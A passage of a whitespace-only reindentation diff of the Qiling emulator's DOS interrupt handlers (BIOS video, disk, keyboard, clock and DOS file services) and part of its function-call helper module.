attr = stdscr.inch(cy, cx) & curses.A_COLOR + if (y - 1) == cy: + # scroll doesn't affect our cursor + stdscr.scroll(1) + stdscr.move(cy, 0) + else: + stdscr.move(cy + 1, 0) + else: + attr = stdscr.inch(cy, cx) & curses.A_COLOR - stdscr.echochar(al, attr) + stdscr.echochar(al, attr) # BIOS video support @@ -247,23 +247,23 @@ def __leaf_0e(ql: Qiling): # https://stanislavs.org/helppc/idx_interrupt.html # implemented by curses def handler(ql: Qiling): - ah = ql.arch.regs.ah - - leaffunc = { - 0x00 : __leaf_00, - 0x01 : __leaf_01, - 0x02 : __leaf_02, - 0x05 : __leaf_05, - 0x06 : __leaf_06, - 0x08 : __leaf_08, - 0x0e : __leaf_0e - }.get(ah) - - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 10h is not implemented') - raise NotImplementedError() - - leaffunc(ql) - - if ql.os.stdscr is not None: - ql.os.stdscr.refresh() + ah = ql.arch.regs.ah + + leaffunc = { + 0x00 : __leaf_00, + 0x01 : __leaf_01, + 0x02 : __leaf_02, + 0x05 : __leaf_05, + 0x06 : __leaf_06, + 0x08 : __leaf_08, + 0x0e : __leaf_0e + }.get(ah) + + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 10h is not implemented') + raise NotImplementedError() + + leaffunc(ql) + + if ql.os.stdscr is not None: + ql.os.stdscr.refresh() diff --git a/qiling/os/dos/interrupts/int13.py b/qiling/os/dos/interrupts/int13.py index 1714111ab..142d82650 100644 --- a/qiling/os/dos/interrupts/int13.py +++ b/qiling/os/dos/interrupts/int13.py @@ -11,152 +11,152 @@ from .. import utils class DiskError(IntEnum): - NoError = 0 - BadCommand = 1 - AddressNotFound = 2 - DiskWriteProtectError = 3 - SectorNotFound = 4 - FixedDiskResetFailed = 5 - DiskChangedOrRemoved = 6 - BadFixedDiskParameterTable = 7 - DMAOverrun = 8 - DMAAcessAcrossBoundary = 9 - BadFixedDiskSectorFlag = 10 - BadFixedDiskCylinder = 11 - UnsupportedTrack = 12 - InvalidNumberofSectors = 13 + NoError = 0 + BadCommand = 1 + AddressNotFound = 2 + DiskWriteProtectError = 3 + SectorNotFound = 4 + FixedDiskResetFailed = 5 + DiskChangedOrRemoved = 6 + BadFixedDiskParameterTable = 7 + DMAOverrun = 8 + DMAAcessAcrossBoundary = 9 + BadFixedDiskSectorFlag = 10 + BadFixedDiskCylinder = 11 + UnsupportedTrack = 12 + InvalidNumberofSectors = 13 FixedDiskControlledDataAdressDetected = 14 FixedDiskDMAArbitrationLevelOutofRange = 15 - ECCErrorOnRead = 16 - RecoverableFixedDiskDataError = 17 - ControllerError = 32 - SeekFailure = 64 - Timeout = 128 - FixedDiskDriveNotReady = 170 - FixedDiskUndefinedError = 187 - FixedDiskWriteFault = 204 - FixedDiskStatusError = 224 - SenseOperationFailed = 255 + ECCErrorOnRead = 16 + RecoverableFixedDiskDataError = 17 + ControllerError = 32 + SeekFailure = 64 + Timeout = 128 + FixedDiskDriveNotReady = 170 + FixedDiskUndefinedError = 187 + FixedDiskWriteFault = 204 + FixedDiskStatusError = 224 + SenseOperationFailed = 255 def parse_dap(dapbs): - return struct.unpack("> 8) | ((ql.arch.regs.cx & 0xC0) << 2) - head = ql.arch.regs.dh - sector = ql.arch.regs.cx & 63 - cnt = ql.arch.regs.al + cylinder = ((ql.arch.regs.cx & 0xff00) >> 8) | ((ql.arch.regs.cx & 0xC0) << 2) + head = ql.arch.regs.dh + sector = ql.arch.regs.cx & 63 + cnt = ql.arch.regs.al - disk = ql.os.fs_mapper.open(idx, None) - content = disk.read_chs(cylinder, head, sector, cnt) + disk = ql.os.fs_mapper.open(idx, None) + content = disk.read_chs(cylinder, head, sector, cnt) - ql.mem.write(utils.linaddr(ql.arch.regs.es, ql.arch.regs.bx), content) - ql.os.clear_cf() - ql.arch.regs.ah = 0 - ql.arch.regs.al = sector + ql.mem.write(utils.linaddr(ql.arch.regs.es, ql.arch.regs.bx), content) + ql.os.clear_cf() + ql.arch.regs.ah = 0 + ql.arch.regs.al = sector # @see: https://stanislavs.org/helppc/int_13-8.html def __leaf_08(ql: Qiling): - idx = ql.arch.regs.dl + idx = ql.arch.regs.dl - if not ql.os.fs_mapper.has_mapping(idx): - ql.log.warning(f'Warning: No such disk: {idx:#x}') - ql.arch.regs.ah = DiskError.BadCommand.value - ql.os.set_cf() - return + if not ql.os.fs_mapper.has_mapping(idx): + ql.log.warning(f'Warning: No such disk: {idx:#x}') + ql.arch.regs.ah = DiskError.BadCommand.value + ql.os.set_cf() + return - disk = ql.os.fs_mapper.open(idx, None) - ql.arch.regs.dl = ql.os.fs_mapper.mapping_count() - ql.arch.regs.dh = disk.n_heads - 1 - ql.arch.regs.bl = 0x4 - ql.arch.regs.di = 0 - ql.arch.regs.ds = 0 + disk = ql.os.fs_mapper.open(idx, None) + ql.arch.regs.dl = ql.os.fs_mapper.mapping_count() + ql.arch.regs.dh = disk.n_heads - 1 + ql.arch.regs.bl = 0x4 + ql.arch.regs.di = 0 + ql.arch.regs.ds = 0 - n_sectors = min(disk.n_sectors, 63) - n_cylinders = min(disk.n_cylinders, 1023) + n_sectors = min(disk.n_sectors, 63) + n_cylinders = min(disk.n_cylinders, 1023) - cx = (n_sectors & 0b111111) - cx |= ((n_cylinders & 0b11) << 6) - cx |= (((n_cylinders & 0b1111111100) >> 2) << 8) + cx = (n_sectors & 0b111111) + cx |= ((n_cylinders & 0b11) << 6) + cx |= (((n_cylinders & 0b1111111100) >> 2) << 8) - ql.arch.regs.cx = cx - ql.arch.regs.ah = 0 - ql.os.clear_cf() + ql.arch.regs.cx = cx + ql.arch.regs.ah = 0 + ql.os.clear_cf() def __leaf_41(ql: Qiling): - ql.arch.regs.ah = 0 - # 1 -> Device Access using the packet structure. - # 2 -> Drive locking and ejecting. - # 4 -> Enhanced Disk Drive Support. - ql.arch.regs.bx = 0xaa55 - ql.arch.regs.cx = 7 + ql.arch.regs.ah = 0 + # 1 -> Device Access using the packet structure. + # 2 -> Drive locking and ejecting. + # 4 -> Enhanced Disk Drive Support. + ql.arch.regs.bx = 0xaa55 + ql.arch.regs.cx = 7 def __leaf_42(ql: Qiling): - idx = ql.arch.regs.dl + idx = ql.arch.regs.dl - if not ql.os.fs_mapper.has_mapping(idx): - ql.log.warning(f'Warning: No such disk: {idx:#x}') - ql.arch.regs.ah = DiskError.BadCommand.value - ql.os.set_cf() - return + if not ql.os.fs_mapper.has_mapping(idx): + ql.log.warning(f'Warning: No such disk: {idx:#x}') + ql.arch.regs.ah = DiskError.BadCommand.value + ql.os.set_cf() + return - dapbs = ql.mem.read(utils.linaddr(ql.arch.regs.ds, ql.arch.regs.si), 16) - _, _, cnt, offset, segment, lba = parse_dap(dapbs) - ql.log.info(f'Reading {cnt} sectors from disk {idx:#x} with LBA {lba}') + dapbs = ql.mem.read(utils.linaddr(ql.arch.regs.ds, ql.arch.regs.si), 16) + _, _, cnt, offset, segment, lba = parse_dap(dapbs) + ql.log.info(f'Reading {cnt} sectors from disk {idx:#x} with LBA {lba}') - disk = ql.os.fs_mapper.open(idx, None) - content = disk.read_sectors(lba, cnt) - ql.mem.write(utils.linaddr(segment, offset), content) + disk = ql.os.fs_mapper.open(idx, None) + content = disk.read_sectors(lba, cnt) + ql.mem.write(utils.linaddr(segment, offset), content) - ql.os.clear_cf() - ql.arch.regs.ah = 0 + ql.os.clear_cf() + ql.arch.regs.ah = 0 def __leaf_43(ql: Qiling): - idx = ql.arch.regs.dl + idx = ql.arch.regs.dl - if not ql.os.fs_mapper.has_mapping(idx): - ql.log.info(f"Warning: No such disk: {hex(idx)}") - ql.arch.regs.ah = DiskError.BadCommand.value - ql.os.set_cf() - return + if not ql.os.fs_mapper.has_mapping(idx): + ql.log.info(f"Warning: No such disk: {hex(idx)}") + ql.arch.regs.ah = DiskError.BadCommand.value + ql.os.set_cf() + return - dapbs = ql.mem.read(utils.linaddr(ql.arch.regs.ds, ql.arch.regs.si), 16) - _, _, cnt, offset, segment, lba = parse_dap(dapbs) - ql.log.info(f'Writing {cnt} sectors to disk {idx:#x} with LBA {lba}') + dapbs = ql.mem.read(utils.linaddr(ql.arch.regs.ds, ql.arch.regs.si), 16) + _, _, cnt, offset, segment, lba = parse_dap(dapbs) + ql.log.info(f'Writing {cnt} sectors to disk {idx:#x} with LBA {lba}') - disk = ql.os.fs_mapper.open(idx, None) - buffer = ql.mem.read(utils.linaddr(segment, offset), cnt * disk.sector_size) - disk.write_sectors(lba, cnt, buffer) + disk = ql.os.fs_mapper.open(idx, None) + buffer = ql.mem.read(utils.linaddr(segment, offset), cnt * disk.sector_size) + disk.write_sectors(lba, cnt, buffer) - ql.os.clear_cf() - ql.arch.regs.ah = 0 + ql.os.clear_cf() + ql.arch.regs.ah = 0 # @see: https://en.wikipedia.org/wiki/INT_13H def handler(ql: Qiling): - ah = ql.arch.regs.ah - - leaffunc = { - 0x00 : __leaf_00, - 0x02 : __leaf_02, - 0x08 : __leaf_08, - 0x41 : __leaf_41, - 0x42 : __leaf_42, - 0x43 : __leaf_43 - }.get(ah) - - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 13h is not implemented') - raise NotImplementedError() - - leaffunc(ql) + ah = ql.arch.regs.ah + + leaffunc = { + 0x00 : __leaf_00, + 0x02 : __leaf_02, + 0x08 : __leaf_08, + 0x41 : __leaf_41, + 0x42 : __leaf_42, + 0x43 : __leaf_43 + }.get(ah) + + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 13h is not implemented') + raise NotImplementedError() + + leaffunc(ql) diff --git a/qiling/os/dos/interrupts/int15.py b/qiling/os/dos/interrupts/int15.py index 87110d28f..f9917765f 100644 --- a/qiling/os/dos/interrupts/int15.py +++ b/qiling/os/dos/interrupts/int15.py @@ -10,51 +10,51 @@ # @see: http://www.oldlinux.org/Linux.old/docs/interrupts/int-html/int-15.htm def __leaf_00(ql: Qiling): - pass + pass def __leaf_01(ql: Qiling): - pass + pass def __leaf_53(ql: Qiling): - al = ql.arch.regs.al - - if al == 0x01: - ql.os.clear_cf() - elif al == 0x0e: - ql.arch.regs.ax = 0x0102 - ql.os.clear_cf() - elif al == 0x07: - if (ql.arch.regs.bx == 1) and (ql.arch.regs.cx == 3): - ql.log.info("Emulation Stop") - ql.emu_stop() - else: - raise NotImplementedError() + al = ql.arch.regs.al + + if al == 0x01: + ql.os.clear_cf() + elif al == 0x0e: + ql.arch.regs.ax = 0x0102 + ql.os.clear_cf() + elif al == 0x07: + if (ql.arch.regs.bx == 1) and (ql.arch.regs.cx == 3): + ql.log.info("Emulation Stop") + ql.emu_stop() + else: + raise NotImplementedError() def __leaf_86(ql: Qiling): - dx = ql.arch.regs.dx - cx = ql.arch.regs.cx - full_secs = ((cx << 16) + dx) / 1000000 + dx = ql.arch.regs.dx + cx = ql.arch.regs.cx + full_secs = ((cx << 16) + dx) / 1000000 - ql.log.info(f"Goint to sleep for {full_secs} seconds") - time.sleep(full_secs) + ql.log.info(f"Goint to sleep for {full_secs} seconds") + time.sleep(full_secs) - # Note: Since we are in a single thread environment, we assume - # that no one will wait at the same time. - ql.os.clear_cf() - ql.arch.regs.ah = 0x80 + # Note: Since we are in a single thread environment, we assume + # that no one will wait at the same time. + ql.os.clear_cf() + ql.arch.regs.ah = 0x80 def handler(ql: Qiling): - ah = ql.arch.regs.ah + ah = ql.arch.regs.ah - leaffunc = { - 0x00 : __leaf_00, - 0x01 : __leaf_01, - 0x53 : __leaf_53, - 0x86 : __leaf_86 - }.get(ah) + leaffunc = { + 0x00 : __leaf_00, + 0x01 : __leaf_01, + 0x53 : __leaf_53, + 0x86 : __leaf_86 + }.get(ah) - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 15h is not implemented') - raise NotImplementedError() + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 15h is not implemented') + raise NotImplementedError() - leaffunc(ql) + leaffunc(ql) diff --git a/qiling/os/dos/interrupts/int16.py b/qiling/os/dos/interrupts/int16.py index 215d20c2f..293fae37a 100644 --- a/qiling/os/dos/interrupts/int16.py +++ b/qiling/os/dos/interrupts/int16.py @@ -119,59 +119,59 @@ } def parse_key(ky): - # https://stackoverflow.com/questions/27200597/c-ncurses-key-backspace-not-working - # https://stackoverflow.com/questions/44943249/detecting-key-backspace-in-ncurses + # https://stackoverflow.com/questions/27200597/c-ncurses-key-backspace-not-working + # https://stackoverflow.com/questions/44943249/detecting-key-backspace-in-ncurses - # oh my curses... - if ky == curses.KEY_BACKSPACE or ky == 127: - ky = ord(b'\b') + # oh my curses... + if ky == curses.KEY_BACKSPACE or ky == 127: + ky = ord(b'\b') - return ky + return ky def get_scan_code(ch): - return SCANCODES.get(ch, 0) + return SCANCODES.get(ch, 0) def __leaf_00(ql: Qiling): - curses.nonl() - key = parse_key(ql.os.stdscr.getch()) - ql.log.debug(f"Get key: {hex(key)}") - if curses.ascii.isascii(key): - ql.arch.regs.al = key - else: - ql.arch.regs.al = 0 - ql.arch.regs.ah = get_scan_code(key) - curses.nl() + curses.nonl() + key = parse_key(ql.os.stdscr.getch()) + ql.log.debug(f"Get key: {hex(key)}") + if curses.ascii.isascii(key): + ql.arch.regs.al = key + else: + ql.arch.regs.al = 0 + ql.arch.regs.ah = get_scan_code(key) + curses.nl() def __leaf_01(ql: Qiling): - curses.nonl() - # set non-blocking - ql.os.stdscr.timeout(0) - key = parse_key(ql.os.stdscr.getch()) + curses.nonl() + # set non-blocking + ql.os.stdscr.timeout(0) + key = parse_key(ql.os.stdscr.getch()) - if key == -1: - ql.os.set_zf() - ql.arch.regs.ax = 0 - else: - ql.log.debug(f"Has key: {hex(key)} ({curses.ascii.unctrl(key)})") - ql.arch.regs.al = key - ql.arch.regs.ah = get_scan_code(key) - ql.os.clear_zf() - # Buffer shouldn't be removed in this interrupt. - curses.ungetch(key) + if key == -1: + ql.os.set_zf() + ql.arch.regs.ax = 0 + else: + ql.log.debug(f"Has key: {hex(key)} ({curses.ascii.unctrl(key)})") + ql.arch.regs.al = key + ql.arch.regs.ah = get_scan_code(key) + ql.os.clear_zf() + # Buffer shouldn't be removed in this interrupt. + curses.ungetch(key) - ql.os.stdscr.timeout(-1) - curses.nl() + ql.os.stdscr.timeout(-1) + curses.nl() def handler(ql: Qiling): - ah = ql.arch.regs.ah + ah = ql.arch.regs.ah - leaffunc = { - 0x00 : __leaf_00, - 0x01 : __leaf_01 - }.get(ah) + leaffunc = { + 0x00 : __leaf_00, + 0x01 : __leaf_01 + }.get(ah) - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 16h is not implemented') - raise NotImplementedError() + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 16h is not implemented') + raise NotImplementedError() - leaffunc(ql) + leaffunc(ql) diff --git a/qiling/os/dos/interrupts/int19.py b/qiling/os/dos/interrupts/int19.py index 4513e0200..c73268c9d 100644 --- a/qiling/os/dos/interrupts/int19.py +++ b/qiling/os/dos/interrupts/int19.py @@ -6,18 +6,18 @@ from qiling import Qiling def handler(ql: Qiling): - # Note: Memory is not cleaned. - dl = ql.arch.regs.dl + # Note: Memory is not cleaned. + dl = ql.arch.regs.dl - if ql.os.fs_mapper.has_mapping(dl): - disk = ql.os.fs_mapper.open(dl, None) - disk.lseek(0, 0) - mbr = disk.read(512) - else: - with open(ql.path, "rb") as f: - mbr = f.read() + if ql.os.fs_mapper.has_mapping(dl): + disk = ql.os.fs_mapper.open(dl, None) + disk.lseek(0, 0) + mbr = disk.read(512) + else: + with open(ql.path, "rb") as f: + mbr = f.read() - ql.mem.write(0x7C00, mbr) + ql.mem.write(0x7C00, mbr) - ql.arch.regs.cs = 0x07C0 - ql.arch.regs.ip = 0x0000 + ql.arch.regs.cs = 0x07C0 + ql.arch.regs.ip = 0x0000 diff --git a/qiling/os/dos/interrupts/int1a.py b/qiling/os/dos/interrupts/int1a.py index 4f7edc1f9..09af06961 100644 --- a/qiling/os/dos/interrupts/int1a.py +++ b/qiling/os/dos/interrupts/int1a.py @@ -10,76 +10,76 @@ from .. import utils def __set_elapsed_ticks(ql: Qiling): - now = datetime.now() - ticks = int((now - ql.os.start_time).total_seconds() * ql.os.ticks_per_second) + now = datetime.now() + ticks = int((now - ql.os.start_time).total_seconds() * ql.os.ticks_per_second) - ql.arch.regs.cx = (ticks >> 16) & 0xffff - ql.arch.regs.dx = (ticks >> 0) & 0xffff + ql.arch.regs.cx = (ticks >> 16) & 0xffff + ql.arch.regs.dx = (ticks >> 0) & 0xffff def __leaf_00(ql: Qiling): - __set_elapsed_ticks(ql) + __set_elapsed_ticks(ql) - ql.arch.regs.al = 0 + ql.arch.regs.al = 0 def __leaf_01(ql: Qiling): - __set_elapsed_ticks(ql) + __set_elapsed_ticks(ql) def __leaf_02_03(ql: Qiling): - now = datetime.now() + now = datetime.now() - ql.arch.regs.ch = utils.BIN2BCD(now.hour) - ql.arch.regs.cl = utils.BIN2BCD(now.minute) - ql.arch.regs.dh = utils.BIN2BCD(now.second) - ql.arch.regs.dl = 0 + ql.arch.regs.ch = utils.BIN2BCD(now.hour) + ql.arch.regs.cl = utils.BIN2BCD(now.minute) + ql.arch.regs.dh = utils.BIN2BCD(now.second) + ql.arch.regs.dl = 0 - ql.os.clear_cf() + ql.os.clear_cf() def __leaf_04_05(ql: Qiling): - now = datetime.now() + now = datetime.now() - # See https://sites.google.com/site/liangweiqiang/Home/e5006/e5006classnote/jumptiming/int1ahclockservice - ql.arch.regs.ch = utils.BIN2BCD((now.year - 1) // 100) - ql.arch.regs.cl = utils.BIN2BCD(now.year % 100) - ql.arch.regs.dh = utils.BIN2BCD(now.month) - ql.arch.regs.dl = utils.BIN2BCD(now.day) + # See https://sites.google.com/site/liangweiqiang/Home/e5006/e5006classnote/jumptiming/int1ahclockservice + ql.arch.regs.ch = utils.BIN2BCD((now.year - 1) // 100) + ql.arch.regs.cl = utils.BIN2BCD(now.year % 100) + ql.arch.regs.dh = utils.BIN2BCD(now.month) + ql.arch.regs.dl = utils.BIN2BCD(now.day) - ql.os.clear_cf() + ql.os.clear_cf() def __leaf_06_07_09(ql: Qiling): - # TODO: Implement clock interrupt. - ql.os.set_cf() + # TODO: Implement clock interrupt. + ql.os.set_cf() def __leaf_08(ql: Qiling): - pass + pass def __leaf_0a(ql: Qiling): - now = datetime.now() + now = datetime.now() - ql.arch.regs.cx = (now - datetime(1980, 1, 1)).days + ql.arch.regs.cx = (now - datetime(1980, 1, 1)).days def __leaf_0b(ql: Qiling): - pass + pass def handler(ql: Qiling): - ah = ql.arch.regs.ah - - leaffunc = { - 0x00 : __leaf_00, - 0x01 : __leaf_01, - 0x02 : __leaf_02_03, - 0x03 : __leaf_02_03, - 0x04 : __leaf_04_05, - 0x05 : __leaf_04_05, - 0x06 : __leaf_06_07_09, - 0x07 : __leaf_06_07_09, - 0x08 : __leaf_08, - 0x09 : __leaf_06_07_09, - 0x0a : __leaf_0a, - 0x0b : __leaf_0b - }.get(ah) - - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 1Ah is not implemented') - raise NotImplementedError() - - leaffunc(ql) + ah = ql.arch.regs.ah + + leaffunc = { + 0x00 : __leaf_00, + 0x01 : __leaf_01, + 0x02 : __leaf_02_03, + 0x03 : __leaf_02_03, + 0x04 : __leaf_04_05, + 0x05 : __leaf_04_05, + 0x06 : __leaf_06_07_09, + 0x07 : __leaf_06_07_09, + 0x08 : __leaf_08, + 0x09 : __leaf_06_07_09, + 0x0a : __leaf_0a, + 0x0b : __leaf_0b + }.get(ah) + + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 1Ah is not implemented') + raise NotImplementedError() + + leaffunc(ql) diff --git a/qiling/os/dos/interrupts/int20.py b/qiling/os/dos/interrupts/int20.py index 14bc51fdb..0dd639c21 100644 --- a/qiling/os/dos/interrupts/int20.py +++ b/qiling/os/dos/interrupts/int20.py @@ -6,17 +6,17 @@ from qiling import Qiling def __leaf_13(self): - pass + pass def handler(ql: Qiling): - ah = ql.arch.regs.ah + ah = ql.arch.regs.ah - leaffunc = { - 0x13 : __leaf_13 - }.get(ah) + leaffunc = { + 0x13 : __leaf_13 + }.get(ah) - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 20h is not implemented') - raise NotImplementedError() + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 20h is not implemented') + raise NotImplementedError() - leaffunc(ql) + leaffunc(ql) diff --git a/qiling/os/dos/interrupts/int21.py b/qiling/os/dos/interrupts/int21.py index a87094941..a360b8a45 100644 --- a/qiling/os/dos/interrupts/int21.py +++ b/qiling/os/dos/interrupts/int21.py @@ -11,151 +11,151 @@ # exit def __leaf_4c(ql: Qiling): - ql.log.info("Program terminated gracefully") - ql.emu_stop() + ql.log.info("Program terminated gracefully") + ql.emu_stop() # write a character to screen def __leaf_02(ql: Qiling): - ch = ql.arch.regs.dl - ql.arch.regs.al = ch + ch = ql.arch.regs.dl + ql.arch.regs.al = ch - print(f'{ch:c}', end='') + print(f'{ch:c}', end='') # write a string to screen def __leaf_09(ql: Qiling): - print(utils.read_dos_string_from_ds_dx(ql)) + print(utils.read_dos_string_from_ds_dx(ql)) # clear input buffer def __leaf_0c(ql: Qiling): - pass + pass # set interrupt vector def __leaf_25(ql: Qiling): - pass + pass # create psp def __leaf_26(ql: Qiling): - pass + pass # get dos version def __leaf_30(ql: Qiling): - ql.arch.regs.ax = ql.os.dos_ver + ql.arch.regs.ax = ql.os.dos_ver # get or set ctrl-break def __leaf_33(ql: Qiling): - pass + pass # get interrupt vector def __leaf_35(ql: Qiling): - pass + pass # open file for write def __leaf_3c(ql: Qiling): - # fileattr ignored - fname = utils.read_dos_string_from_ds_dx(ql) - fpath = ql.os.path.transform_to_real_path(fname) + # fileattr ignored + fname = utils.read_dos_string_from_ds_dx(ql) + fpath = ql.os.path.transform_to_real_path(fname) - ql.os.handles[ql.os.handle_next] = open(fpath, "wb") - ql.arch.regs.ax = ql.os.handle_next - ql.os.handle_next += 1 - ql.os.clear_cf() + ql.os.handles[ql.os.handle_next] = open(fpath, "wb") + ql.arch.regs.ax = ql.os.handle_next + ql.os.handle_next += 1 + ql.os.clear_cf() # open file for read def __leaf_3d(ql: Qiling): - fname = utils.read_dos_string_from_ds_dx(ql) - fpath = ql.os.path.transform_to_real_path(fname) + fname = utils.read_dos_string_from_ds_dx(ql) + fpath = ql.os.path.transform_to_real_path(fname) - ql.os.handles[ql.os.handle_next] = open(fpath, "rb") - ql.arch.regs.ax = ql.os.handle_next - ql.os.handle_next += 1 - ql.os.clear_cf() + ql.os.handles[ql.os.handle_next] = open(fpath, "rb") + ql.arch.regs.ax = ql.os.handle_next + ql.os.handle_next += 1 + ql.os.clear_cf() # close file def __leaf_3e(ql: Qiling): - hd = ql.arch.regs.bx + hd = ql.arch.regs.bx - if hd in ql.os.handles: - f = ql.os.handles.pop(hd) - f.close() + if hd in ql.os.handles: + f = ql.os.handles.pop(hd) + f.close() - ql.os.clear_cf() - else: - ql.arch.regs.ax = 0x06 - ql.os.set_cf() + ql.os.clear_cf() + else: + ql.arch.regs.ax = 0x06 + ql.os.set_cf() # read from file def __leaf_3f(ql: Qiling): - hd = ql.arch.regs.bx - - if hd in ql.os.handles: - f = ql.os.handles[hd] - buffer = utils.linaddr(ql.arch.regs.ds, ql.arch.regs.dx) - sz = ql.arch.regs.cx - rd = f.read(sz) - ql.mem.write(buffer, rd) - ql.os.clear_cf() - ql.arch.regs.ax = len(rd) - else: - ql.arch.regs.ax = 0x06 - ql.os.set_cf() + hd = ql.arch.regs.bx + + if hd in ql.os.handles: + f = ql.os.handles[hd] + buffer = utils.linaddr(ql.arch.regs.ds, ql.arch.regs.dx) + sz = ql.arch.regs.cx + rd = f.read(sz) + ql.mem.write(buffer, rd) + ql.os.clear_cf() + ql.arch.regs.ax = len(rd) + else: + ql.arch.regs.ax = 0x06 + ql.os.set_cf() # write to file def __leaf_40(ql: Qiling): - hd = ql.arch.regs.bx - - if hd in ql.os.handles: - f = ql.os.handles[hd] - buffer = utils.linaddr(ql.arch.regs.ds, ql.arch.regs.dx) - sz = ql.arch.regs.cx - rd = ql.mem.read(buffer, sz) - f.write(bytes(rd)) - ql.os.clear_cf() - ql.arch.regs.ax = len(rd) - else: - ql.arch.regs.ax = 0x06 - ql.os.set_cf() + hd = ql.arch.regs.bx + + if hd in ql.os.handles: + f = ql.os.handles[hd] + buffer = utils.linaddr(ql.arch.regs.ds, ql.arch.regs.dx) + sz = ql.arch.regs.cx + rd = ql.mem.read(buffer, sz) + f.write(bytes(rd)) + ql.os.clear_cf() + ql.arch.regs.ax = len(rd) + else: + ql.arch.regs.ax = 0x06 + ql.os.set_cf() # delete file def __leaf_41(ql: Qiling): - fname = utils.read_dos_string_from_ds_dx(ql) - fpath = ql.os.path.transform_to_real_path(fname) + fname = utils.read_dos_string_from_ds_dx(ql) + fpath = ql.os.path.transform_to_real_path(fname) - try: - os.remove(fpath) - ql.os.clear_cf() - except OSError: - ql.arch.regs.ax = 0x05 - ql.os.set_cf() + try: + os.remove(fpath) + ql.os.clear_cf() + except OSError: + ql.arch.regs.ax = 0x05 + ql.os.set_cf() def __leaf_43(ql: Qiling): - ql.arch.regs.cx = 0xffff - ql.os.clear_cf() + ql.arch.regs.cx = 0xffff + ql.os.clear_cf() def handler(ql: Qiling): - ah = ql.arch.regs.ah - - leaffunc = { - 0x02 : __leaf_02, - 0x06 : __leaf_02, - 0x09 : __leaf_09, - 0x0c : __leaf_0c, - 0x25 : __leaf_25, - 0x26 : __leaf_26, - 0x30 : __leaf_30, - 0x33 : __leaf_33, - 0x35 : __leaf_35, - 0x3c : __leaf_3c, - 0x3d : __leaf_3d, - 0x3e : __leaf_3e, - 0x3f : __leaf_3f, - 0x40 : __leaf_40, - 0x41 : __leaf_41, - 0x43 : __leaf_43, - 0x4c : __leaf_4c - }.get(ah) - - if leaffunc is None: - ql.log.exception(f'leaf {ah:02x}h of INT 21h is not implemented') - raise NotImplementedError() - - leaffunc(ql) + ah = ql.arch.regs.ah + + leaffunc = { + 0x02 : __leaf_02, + 0x06 : __leaf_02, + 0x09 : __leaf_09, + 0x0c : __leaf_0c, + 0x25 : __leaf_25, + 0x26 : __leaf_26, + 0x30 : __leaf_30, + 0x33 : __leaf_33, + 0x35 : __leaf_35, + 0x3c : __leaf_3c, + 0x3d : __leaf_3d, + 0x3e : __leaf_3e, + 0x3f : __leaf_3f, + 0x40 : __leaf_40, + 0x41 : __leaf_41, + 0x43 : __leaf_43, + 0x4c : __leaf_4c + }.get(ah) + + if leaffunc is None: + ql.log.exception(f'leaf {ah:02x}h of INT 21h is not implemented') + raise NotImplementedError() + + leaffunc(ql) diff --git a/qiling/os/fcall.py b/qiling/os/fcall.py index 30fff7594..eef3b6207 100644 --- a/qiling/os/fcall.py +++ b/qiling/os/fcall.py @@ -19,194 +19,194 @@ TypedArg = Tuple[Any, str, Any] class QlFunctionCall: - def __init__(self, ql: Qiling, cc: QlCC, accessors: Mapping[int, Accessor] = {}) -> None: - """Initialize function call handler. + def __init__(self, ql: Qiling, cc: QlCC, accessors: Mapping[int, Accessor] = {}) -> None: + """Initialize function call handler. - Args: - ql: qiling instance - cc: calling convention instance to handle the call - accessors: a mapping of parameter types to methods that read and write their values (optional) - """ + Args: + ql: qiling instance + cc: calling convention instance to handle the call + accessors: a mapping of parameter types to methods that read and write their values (optional) + """ - self.ql = ql - self.cc = cc + self.ql = ql + self.cc = cc - def __make_accessor(nbits: int) -> Accessor: - reader = lambda si: cc.getRawParam(si, nbits) - writer = lambda si, val: cc.setRawParam(si, val, nbits) - nslots = cc.getNumSlots(nbits) + def __make_accessor(nbits: int) -> Accessor: + reader = lambda si: cc.getRawParam(si, nbits) + writer = lambda si, val: cc.setRawParam(si, val, nbits) + nslots = cc.getNumSlots(nbits) - return (reader, writer, nslots) + return (reader, writer, nslots) - # default parameter accessors: readers, writers and slots count - self.accessors: MutableMapping[int, Accessor] = { - PARAM_INT8 : __make_accessor(8), - PARAM_INT16: __make_accessor(16), - PARAM_INT32: __make_accessor(32), - PARAM_INT64: __make_accessor(64), - PARAM_INTN : __make_accessor(0) - } + # default parameter accessors: readers, writers and slots count + self.accessors: MutableMapping[int, Accessor] = { + PARAM_INT8 : __make_accessor(8), + PARAM_INT16: __make_accessor(16), + PARAM_INT32: __make_accessor(32), + PARAM_INT64: __make_accessor(64), + PARAM_INTN : __make_accessor(0) + } - # let the user override default accessors or add custom ones - self.accessors.update(accessors) + # let the user override default accessors or add custom ones + self.accessors.update(accessors) - def readEllipsis(self, ptypes: Sequence[Any]) -> Iterator[int]: - """ - """ + def readEllipsis(self, ptypes: Sequence[Any]) -> Iterator[int]: + """ + """ - default = self.accessors[PARAM_INTN] + default = self.accessors[PARAM_INTN] - # count skipped slots - si = sum(self.accessors.get(typ, default)[2] for typ in ptypes) + # count skipped slots + si = sum(self.accessors.get(typ, default)[2] for typ in ptypes) - while True: - read, _, nslots = default + while True: + read, _, nslots = default - yield read(si) - si += nslots + yield read(si) + si += nslots - def readParams(self, ptypes: Sequence[Any]) -> Sequence[int]: - """Walk the function parameters list and get their values. + def readParams(self, ptypes: Sequence[Any]) -> Sequence[int]: + """Walk the function parameters list and get their values. - Args: - ptypes: a sequence of parameters types to read + Args: + ptypes: a sequence of parameters types to read - Returns: parameters raw values - """ + Returns: parameters raw values + """ - default = self.accessors[PARAM_INTN] + default = self.accessors[PARAM_INTN] - si = 0 - values = [] + si = 0 + values = [] - for typ in ptypes: - read, _, nslots = self.accessors.get(typ, default) + for typ in ptypes: + read, _, nslots = self.accessors.get(typ, default) - val = read(si) - si += 